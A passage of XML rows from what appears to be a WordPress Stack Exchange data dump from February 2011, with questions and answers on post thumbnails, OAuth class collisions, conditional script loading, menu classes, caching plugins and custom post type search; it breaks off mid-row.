  <row Id="10114" PostTypeId="2" ParentId="10112" CreationDate="2011-02-22T19:56:08.940" Score="1" ViewCount="" Body="&lt;p&gt;you need to first create the post and get the id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$postit = array(&#xA;    'post_title' =&amp;gt; $itemtitle,&#xA;    'post_content' =&amp;gt; '',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_type' =&amp;gt; 'items',&#xA;    'post_author' =&amp;gt; $user_ID,&#xA;    'tags_input' =&amp;gt; $the_post_id&#xA;&#xA;);&#xA;&#xA; $the_post_idit = wp_insert_post( $postit);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have the post id you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_post_meta( $the_post_idit,'_thumbnail_id',$itemimage);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just make sure that $itemimage holds the attachment ID.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-22T19:56:08.940" CommentCount="1" />
  <row Id="10115" PostTypeId="2" ParentId="145" CreationDate="2011-02-22T20:00:02.333" Score="0" ViewCount="" Body="&lt;p&gt;I'm using phpED and xdebug but for me (and seems for somebody else) it's impossible to debug the plugins or theme's file! The debugger only stops on the breakpoints that are in the main or original &quot;core&quot; files!&#xA;anybody can help me?&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2011-02-22T20:00:02.333" />
  <row Id="10116" PostTypeId="2" ParentId="10109" CreationDate="2011-02-22T20:08:54.257" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;     $loop = new WP_Query( array( &#xA;        'post_type' =&amp;gt; 'yourPostTypeName',   /* edit this line */&#xA;        'posts_per_page' =&amp;gt; 15 ) );&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;  &#xA;&#xA;     &amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code also doesn't work? I believe you're listing everything fine (titles, excerpts etc.) &amp;amp; thumbnails only doesn't show? How do you add them? Do you see them in down right corner on edit pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not change the_post_thumbnail function to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $url = wp_get_attachment_url( get_post_thumbnail_id($post-&amp;gt;ID) ); ?&amp;gt; &#xA;echo $url&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is it showing thumbnail's address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) you're NOT adding thumbnails (to do so, click &quot;Set featured image&quot;, select/upload an image and THEN click &quot;Use as featured image&quot;, the image should appear in the right down corner),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) you have no loop (use my first code on page-posttype.php to create one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please click the icon under the arrows on the left side if somebody helps you, your accept rate is dramatically low and many people don't care about you.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-02-22T20:15:28.620" LastActivityDate="2011-02-22T20:15:28.620" CommentCount="3" />
  <row Id="10117" PostTypeId="1" AcceptedAnswerId="10120" CreationDate="2011-02-22T20:11:12.147" Score="0" ViewCount="76" Body="&lt;p&gt;I just updated a plugin that needed to be updated. The issue is they added support for OAuth, the problem this plugin and another are using the same OAuth classes. Is there a easy way to fix this? I've never messed with OAuth or classes in PHP, I'm not a programmer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP Fatal error:  Cannot redeclare class OAuthSignatureMethod_HMAC_SHA1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2832" LastActivityDate="2011-02-22T20:21:41.367" Title="Multiple plugins using the same OAuth class issues" Tags="&lt;plugins&gt;&lt;3.0&gt;" AnswerCount="1" />
  <row Id="10118" PostTypeId="1" CreationDate="2011-02-22T20:12:06.733" Score="0" ViewCount="414" Body="&lt;p&gt;I know you can add a class in the custom menu options, but it adds it to the LI before the A. I want to apply the class directly to this specific A rather then the whole LI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of the output being&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;menu-item-51&quot; class=&quot;NEWCLASS menu-item menu-item-type-custom menu-item-51&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Link&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want it too be like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;menu-item-51&quot; class=&quot;menu-item menu-item-type-custom menu-item-51&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;NEWCLASS&quot;&amp;gt;Link&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-23T12:53:31.857" LastActivityDate="2011-03-29T07:29:12.767" Title="Add Class to Specific Link in Custom Menu" Tags="&lt;custom-menus&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" />
  <row Id="10119" PostTypeId="1" AcceptedAnswerId="10124" CreationDate="2011-02-22T20:13:14.153" Score="0" ViewCount="127" Body="&lt;p&gt;Why doesnt this work ?  I am trying to selectively load scripts but the second if statement is not loading them where it should.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init() {&#xA;    if (!is_admin()) {&#xA;&#xA;        wp_deregister_script('jquery');&#xA;        wp_register_script('jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js', false, '1.5');&#xA;        wp_enqueue_script('jquery');&#xA;&#xA;            if (in_category('41') )  {&#xA;            wp_register_script('validator', '/wp-content/themes/myTheme/library/jquery.validationEngine.js', array('jquery'), '2.0', false);&#xA;            wp_enqueue_script('validator');&#xA;&#xA;            wp_register_script('vEngine', '/wp-content/themes/myTheme/library/jquery.validationEngine-en.js', array('validator'), '2.0', false);&#xA;            wp_enqueue_script('vEngine');&#xA;            }&#xA;&#xA;    }   &#xA;&#xA;&#xA;}&#xA;add_action('init', 'my_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I remove the second if statement for that category it works but I want to restrict it to a single category or even an is_single('123')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2661" LastEditorUserId="2661" LastEditorDisplayName="" LastEditDate="2011-02-22T20:46:43.630" LastActivityDate="2011-02-23T12:59:21.823" Title="Conditional statement not working in function" Tags="&lt;functions&gt;&lt;conditional-content&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="10120" PostTypeId="2" ParentId="10117" CreationDate="2011-02-22T20:21:41.367" Score="2" ViewCount="" Body="&lt;p&gt;Your code probably looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class OAuthSignatureMethod_HMAC_SHA1 {&#xA;&#xA;...&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( ! class_exists( 'OAuthSignatureMethod_HMAC_SHA1' ) ) :&#xA;class OAuthSignatureMethod_HMAC_SHA1 {&#xA;&#xA;...&#xA;&#xA;}&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is more a PHP issue than a WordPress issue, but if multiple plug-ins &lt;code&gt;include&lt;/code&gt; or &lt;code&gt;require&lt;/code&gt; files that declare the same class with the same name, you'll get a collision.  You only need to &lt;em&gt;define&lt;/em&gt; the class once, then you can instantiate it as many times as you need in your multiple systems.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-02-22T20:21:41.367" CommentCount="1" />
  <row Id="10121" PostTypeId="2" ParentId="10089" CreationDate="2011-02-22T20:22:14.233" Score="0" ViewCount="" Body="&lt;p&gt;Well, I may be wrong, but why can't you just create different sidebars for single and posts page? That's easier and doesn't require plugins.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-02-22T20:22:14.233" />
  <row Id="10122" PostTypeId="1" CreationDate="2011-02-22T20:34:33.167" Score="0" ViewCount="211" Body="&lt;p&gt;Can someone recommend a plugin that would allow me to create an alias for my: category, page, post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let's say I have &lt;a href=&quot;http://alexus.org/howto/guide-how-to-jailbreak-your-droid-x-by-motorola&quot; rel=&quot;nofollow&quot;&gt;http://alexus.org/howto/guide-how-to-jailbreak-your-droid-x-by-motorola&lt;/a&gt; but I want to create a shorter name without touching existing name, how would I go about it?&lt;/p&gt;&#xA;" OwnerUserId="3255" LastActivityDate="2011-04-23T21:41:20.060" Title="wordpress extend plugin alias" Tags="&lt;plugins&gt;&lt;permalinks&gt;" AnswerCount="2" />
  <row Id="10123" PostTypeId="2" ParentId="10122" CreationDate="2011-02-22T20:44:01.183" Score="1" ViewCount="" Body="&lt;p&gt;You always have the possibility to link to content that way: &lt;code&gt;http://yourblog.com/?p=1234&lt;/code&gt;, where 1234 is the id of the post/page you want to link to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else this plugin might be of help: &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/redirection/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2637" LastActivityDate="2011-02-22T20:44:01.183" CommentCount="1" />
  <row Id="10124" PostTypeId="2" ParentId="10119" CreationDate="2011-02-22T21:04:16.803" Score="1" ViewCount="" Body="&lt;p&gt;I suspect you're doing this too early. The loop isn't setup yet when &lt;code&gt;init&lt;/code&gt; is run, so you need to hook it somewhere else. &lt;code&gt;wp_print_scripts&lt;/code&gt; and &lt;code&gt;wp_print_styles&lt;/code&gt; or &lt;code&gt;get_header&lt;/code&gt; are always nice choices. ;-)&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-23T12:59:21.823" LastActivityDate="2011-02-23T12:59:21.823" CommentCount="2" />
  <row Id="10125" PostTypeId="2" ParentId="10118" CreationDate="2011-02-22T21:10:55.683" Score="2" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;nav_menu_css_class&lt;/code&gt; filter &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_css_class' , 'my_nav_special_class' , 10 , 2);&#xA;function my_nav_special_class($classes, $item){&#xA;    if(your condition){ //example: you can check value of $item to decide something...&#xA;        $classes[] = 'my_class';&#xA;    }&#xA;    return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this $item you can any condition you want.&#xA;and this will add the class to the specific li and you can style the a tag based on that like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.my_class a{&#xA;   background-color: #FFFFFF;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-22T21:10:55.683" />
  <row Id="10126" PostTypeId="2" ParentId="10119" CreationDate="2011-02-22T21:14:21.427" Score="1" ViewCount="" Body="&lt;p&gt;I poked around, and it seems that the Codex reference that you can use conditional tags like &lt;code&gt;is_category()&lt;/code&gt; in the &lt;code&gt;init&lt;/code&gt; hook is incorrect.  However, this code &lt;em&gt;does&lt;/em&gt; work just fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init() {&#xA;    if (!is_admin()) {&#xA;&#xA;        wp_deregister_script('jquery');&#xA;        wp_register_script('jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js', false, '1.5');&#xA;        wp_enqueue_script('jquery');&#xA;    }   &#xA;}&#xA;function my_scripts() {&#xA;    if (in_category('41') )  {&#xA;        wp_register_script('validator', '/wp-content/themes/myTheme/library/jquery.validationEngine.js', array('jquery'), '2.0', false);&#xA;        wp_enqueue_script('validator');&#xA;&#xA;        wp_register_script('vEngine', '/wp-content/themes/myTheme/library/jquery.validationEngine-en.js', array('validator'), '2.0', false);&#xA;        wp_enqueue_script('vEngine');&#xA;        }&#xA;}&#xA;add_action('init', 'my_init');&#xA;add_action('wp_print_scripts', 'my_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-22T21:27:22.347" LastActivityDate="2011-02-22T21:27:22.347" CommentCount="2" />
  <row Id="10127" PostTypeId="2" ParentId="10089" CreationDate="2011-02-22T21:16:08.460" Score="1" ViewCount="" Body="&lt;p&gt;There are two options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have a number of different sidebars in your theme. You will need to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_sidebar&quot; rel=&quot;nofollow&quot;&gt;register your sidebar&lt;/a&gt;, and then &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_sidebar&quot; rel=&quot;nofollow&quot;&gt;call the sidebar&lt;/a&gt; from one of your template files.&lt;/li&gt;&#xA;&lt;li&gt;Install a plugin such as Widget Logic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also use a combination of these methods when you need to manage sets of widgets over a variety of different areas.&lt;/p&gt;&#xA;" OwnerUserId="3317" LastActivityDate="2011-02-22T21:16:08.460" />
  <row Id="10128" PostTypeId="1" CreationDate="2011-02-22T21:17:23.370" Score="1" ViewCount="268" Body="&lt;p&gt;I'm looking for WP cache plugin which is able to handle large number of pages. approx. 1 mil. I'm considering W3 total cache , WP super cache and few more , unfortunately I don't know which one is the best for large site. &#xA;Can you suggest one ? &lt;/p&gt;&#xA;" OwnerUserId="1822" LastActivityDate="2011-02-22T23:11:16.407" Title="Best WP cache plugin for large site" Tags="&lt;plugins&gt;&lt;cache&gt;" AnswerCount="4" />
  <row Id="10129" PostTypeId="2" ParentId="10122" CreationDate="2011-02-22T21:18:56.953" Score="0" ViewCount="" Body="&lt;p&gt;Have you considered a URL shortening service, such as &lt;a href=&quot;http://bit.ly/&quot; rel=&quot;nofollow&quot;&gt;bit.ly&lt;/a&gt; or &lt;a href=&quot;http://tinyurl.com/&quot; rel=&quot;nofollow&quot;&gt;Tiny URL&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins that intergrate a URL shortening service into WordPress are available, some possible search terms follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=shortlink&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=shortlink&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=link+shortener&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=link+shortener&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=bit.ly&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=bit.ly&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also the get shortlink button shown next to the post URL on the editor screen, that simply returns the post guid(at least that's what it does for my local install), which is basically what mawe was referring to above. There's also plugins that do something similar(but internally), one such plugin is &lt;a href=&quot;http://wordpress.org/extend/plugins/pretty-link/&quot; rel=&quot;nofollow&quot;&gt;Pretty Links&lt;/a&gt; (i can't vouch for it though, i never use url shortening).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still not what you want? Considered just changing the page/post's permalink directly using the editor?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-22T21:18:56.953" CommentCount="2" />
  <row Id="10130" PostTypeId="2" ParentId="10128" CreationDate="2011-02-22T21:31:56.007" Score="6" ViewCount="" Body="&lt;p&gt;I would recommend W3 Total Cache. It optimizes over several different aspects of the site (HTML, database, etc.) and I haven't ran into any issues with it.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-02-22T21:31:56.007" />
  <row Id="10131" PostTypeId="2" ParentId="10128" CreationDate="2011-02-22T21:31:59.720" Score="1" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://www.tutorial9.net/tutorials/web-tutorials/wordpress-caching-whats-the-best-caching-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://www.tutorial9.net/tutorials/web-tutorials/wordpress-caching-whats-the-best-caching-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;they ran some Benchmarking for the top WordPress cache plugins and also of combination of different DB and widget cache plugins.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-22T21:31:59.720" />
  <row Id="10133" PostTypeId="1" CreationDate="2011-02-22T22:23:08.123" Score="1" ViewCount="80" Body="&lt;p&gt;Basically how would I create a form to search only within a custom post type?&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2011-02-22T22:42:33.693" Title="How do I create a form to search a custom post type" Tags="&lt;custom-post-types&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="10134" PostTypeId="2" ParentId="10133" CreationDate="2011-02-22T22:42:33.693" Score="3" ViewCount="" Body="&lt;p&gt;just add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_type&quot; value=&quot;post type name&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your search form and obviously  replace post type name with your custom post type name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and to make sure that only your custom post type return as results add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mySearchFilter_0987($query) {&#xA;    $post_type = $_GET['post_type'];&#xA;    if (!$post_type) {&#xA;        $post_type = 'any';&#xA;    }&#xA;    if ($query-&amp;gt;is_search) {&#xA;        $query-&amp;gt;set('post_type', $post_type);&#xA;    };&#xA;    return $query;&#xA;};&#xA;&#xA;add_filter('pre_get_posts','mySearchFilter_0987'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-22T22:42:33.693" CommentCount="2" />
  <row Id="10135" PostTypeId="2" ParentId="10128" CreationDate="2011-02-22T22:56:50.073" Score="0" ViewCount="" Body="&lt;p&gt;I've been happy with &lt;a href=&quot;http://wordpress.org/extend/plugins/quick-cache/&quot; rel=&quot;nofollow&quot;&gt;Quick Cache&lt;/a&gt; - straightforward to use, works on multisite and a bit lighter but not as configurable as W3 Total Cache. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;W3 Total Cache's killer feature is being able to offload onto a CDN which is why sites like mashable.com and smashingmagazine.com etc use it.&lt;/p&gt;&#xA;" OwnerUserId="3358" LastActivityDate="2011-02-22T22:56:50.073" />
  <row Id="10136" PostTypeId="2" ParentId="10128" CreationDate="2011-02-22T23:11:16.407" Score="0" ViewCount="" Body="&lt;p&gt;I wrote a pretty extensive article about WP Super Cache, Autoptimizer, and using a CDN network called WPCDN (only $6/month!) here: &lt;a href=&quot;http://goo.gl/ekJPE&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/ekJPE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally like WP Super Cache over W3 Total Cache because it's a lot easier to use.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-02-22T23:11:16.407" />
  <row Id="10138" PostTypeId="1" AcceptedAnswerId="17179" CreationDate="2011-02-22T23:18:21.263" Score="3" ViewCount="476" Body="&lt;p&gt;In my web pages I want to use relative links instead of absolute links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, pages do not allow php code inside them, so i cannot do  to from a url in a relative manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does one get relative urls inside wordpress pages so that changing domain names wouldnt affect the links?&lt;/p&gt;&#xA;" OwnerUserId="3408" LastActivityDate="2011-08-25T15:04:25.823" Title="How to use relative links on my pages?" Tags="&lt;permalinks&gt;&lt;links&gt;&lt;urls&gt;" AnswerCount="6" />
  <row Id="10139" PostTypeId="1" CreationDate="2011-02-22T23:24:49.007" Score="0" ViewCount="75" Body="&lt;p&gt;is there any (easy) way to convert an existing plugin to become shortcode instead? &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/rax-top-social-media-share-with-counter/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/rax-top-social-media-share-with-counter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to place it's output specifically in the layout and not below posts like plugin does automatically. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-02-23T00:00:22.577" Title="Anyway to convert a plugin to become a shortcode?" Tags="&lt;plugins&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="10140" PostTypeId="1" CreationDate="2011-02-22T23:27:16.377" Score="0" ViewCount="147" Body="&lt;p&gt;I created a function to save custom fields on publish a post. Something like this.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function creat_fields() {  &#xA;    global $post;     &#xA;    $casa_id = $post-&amp;gt;ID;  &#xA;    update_post_meta($post-&amp;gt;ID, 'casa_id', $casa_id);  &#xA;}  &#xA;add_action('publish_post', 'create_fields');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function saves on a custom field some string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now the question&lt;/strong&gt;:    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i use this action on older posts? I have 1000 posts and i don't want to refresh all the posts manually, &lt;strong&gt;is this possible?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="433" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-23T01:16:12.033" LastActivityDate="2011-03-03T02:11:50.087" Title="Automatic Refresh all posts at once" Tags="&lt;custom-field&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="10141" PostTypeId="1" AcceptedAnswerId="10145" CreationDate="2011-02-22T23:45:08.197" Score="1" ViewCount="194" Body="&lt;p&gt;I'm having product duplication issues while running two loops on a single page. Is there an equivalent to wp_reset_query for wp ecommerce?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the site at &lt;a href=&quot;http://standingarmed.com/products-page&quot; rel=&quot;nofollow&quot;&gt;http://standingarmed.com/products-page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the loop &lt;a href=&quot;https://gist.github.com/839706&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; since it didn't format properly on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see I set a variable to grab the first product only. The site only have 7 products so I didn't figure it would be a big deal to let the loop run 7 times. Of course I'd rather query for just the first product but wp ecommerce doesn't support queries like WordPress does, or at least that's what I've found. It then runs into the slider loop.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditorDisplayName="" LastEditDate="2011-02-23T00:09:33.623" LastActivityDate="2011-02-24T07:14:13.667" Title="wp_reset_query equivalent for WP Ecommerce" Tags="&lt;wp-ecommerce&gt;&lt;post-duplication&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10142" PostTypeId="2" ParentId="10139" CreationDate="2011-02-23T00:00:22.577" Score="2" ViewCount="" Body="&lt;p&gt;Sure, but it will take a little bit of hacking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a quick look at the plugin and what you want is in the function &lt;code&gt;rax_social_media_share_show_option()&lt;/code&gt;. I would copy it and make a new function with just the part that builds up &lt;code&gt;$button_code&lt;/code&gt;. That's from line 315 to 516.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a simple one-tag &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_shortcode&quot; rel=&quot;nofollow&quot;&gt;shortcode&lt;/a&gt; that returns &lt;code&gt;$button_code&lt;/code&gt; and Bob's your uncle.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-02-23T00:00:22.577" CommentCount="1" />
  <row Id="10143" PostTypeId="2" ParentId="10140" CreationDate="2011-02-23T00:07:33.100" Score="2" ViewCount="" Body="&lt;p&gt;you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'posts_per_page' =&amp;gt; 1000,&#xA;    'post_type' =&amp;gt; 'post'&#xA;    );&#xA;$the_query = new WP_Query( $args );&#xA;&#xA;if ( $the_query-&amp;gt;have_posts() ) { &#xA;    while ( $the_query-&amp;gt;have_posts() ) {&#xA;        $the_query-&amp;gt;the_post();&#xA;        $casa_id = $post-&amp;gt;ID;&#xA;        update_post_meta($post-&amp;gt;ID, 'casa_id', $casa_id);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-23T00:07:33.100" CommentCount="3" />
  <row Id="10144" PostTypeId="2" ParentId="10138" CreationDate="2011-02-23T00:18:02.023" Score="1" ViewCount="" Body="&lt;p&gt;two ways to do that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Linking_Posts_Pages_and_Categories#Linking_Without_Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;Linking Without Using Permalinks&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Linking_Posts_Pages_and_Categories#Linking_Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;Linking Using Permalinks&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-23T00:18:02.023" CommentCount="2" />
  <row Id="10145" PostTypeId="2" ParentId="10141" CreationDate="2011-02-23T00:47:18.617" Score="0" ViewCount="" Body="&lt;p&gt;You can use (according to docu over @wp-ecommerce) &lt;code&gt;global $wpsc_query;&lt;/code&gt; to modify your query.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resetting the loop can be done with &lt;code&gt;wpsc_rewind_products();&lt;/code&gt; right before the second call to &lt;code&gt;while (wpsc_have_products()) :  wpsc_the_product();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the final solution, pls read the comments below.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-24T07:14:13.667" LastActivityDate="2011-02-24T07:14:13.667" CommentCount="5" />
  <row Id="10146" PostTypeId="2" ParentId="8779" CreationDate="2011-02-23T01:12:04.747" Score="0" ViewCount="" Body="&lt;p&gt;I've used 'menu_postion' =&gt; 0, 1,2,3,4. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't matter really. If you play around with it you can easily figure it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using 'menu_position' =&gt; 1 should place it below the Dashboard menu item above the separator thing. 0 Should place it above the Dashboard&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-02-23T01:12:04.747" />
  <row Id="10147" PostTypeId="2" ParentId="10138" CreationDate="2011-02-23T01:16:29.510" Score="-1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.456bereastreet.com/archive/201010/how_to_make_wordpress_urls_root_relative/&quot; rel=&quot;nofollow&quot;&gt;Try this&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-02-23T01:16:29.510" CommentCount="1" />
  <row Id="10148" PostTypeId="2" ParentId="8576" CreationDate="2011-02-23T01:20:02.710" Score="0" ViewCount="" Body="&lt;p&gt;If I understand you correctly, you need to check if the username is already registered, and if so, redirect back to the register form ? or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking you need to use the auth_redirect() function in WP.&#xA;This isn't going to help you, but it's something I came up with to redirect users back to the previous page they were on after they log in, instead of going to the Dashboard as WP does when logging in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function you_must_login() {&#xA;    global $post;&#xA;&#xA;    if ( !is_single() ) // if not currently on a single post (can use any other conditional here of your choice)&#xA;    return;&#xA;&#xA;    $post_ids = array( 188, 185, 171 ); // array of post IDs that force users to login before reading&#xA;&#xA;    if ( in_array( (int) $post-&amp;gt;ID, $post_ids ) &amp;amp;&amp;amp; !is_user_logged_in() ) {&#xA;        auth_redirect(); // redirect to previous page after logging in&#xA;    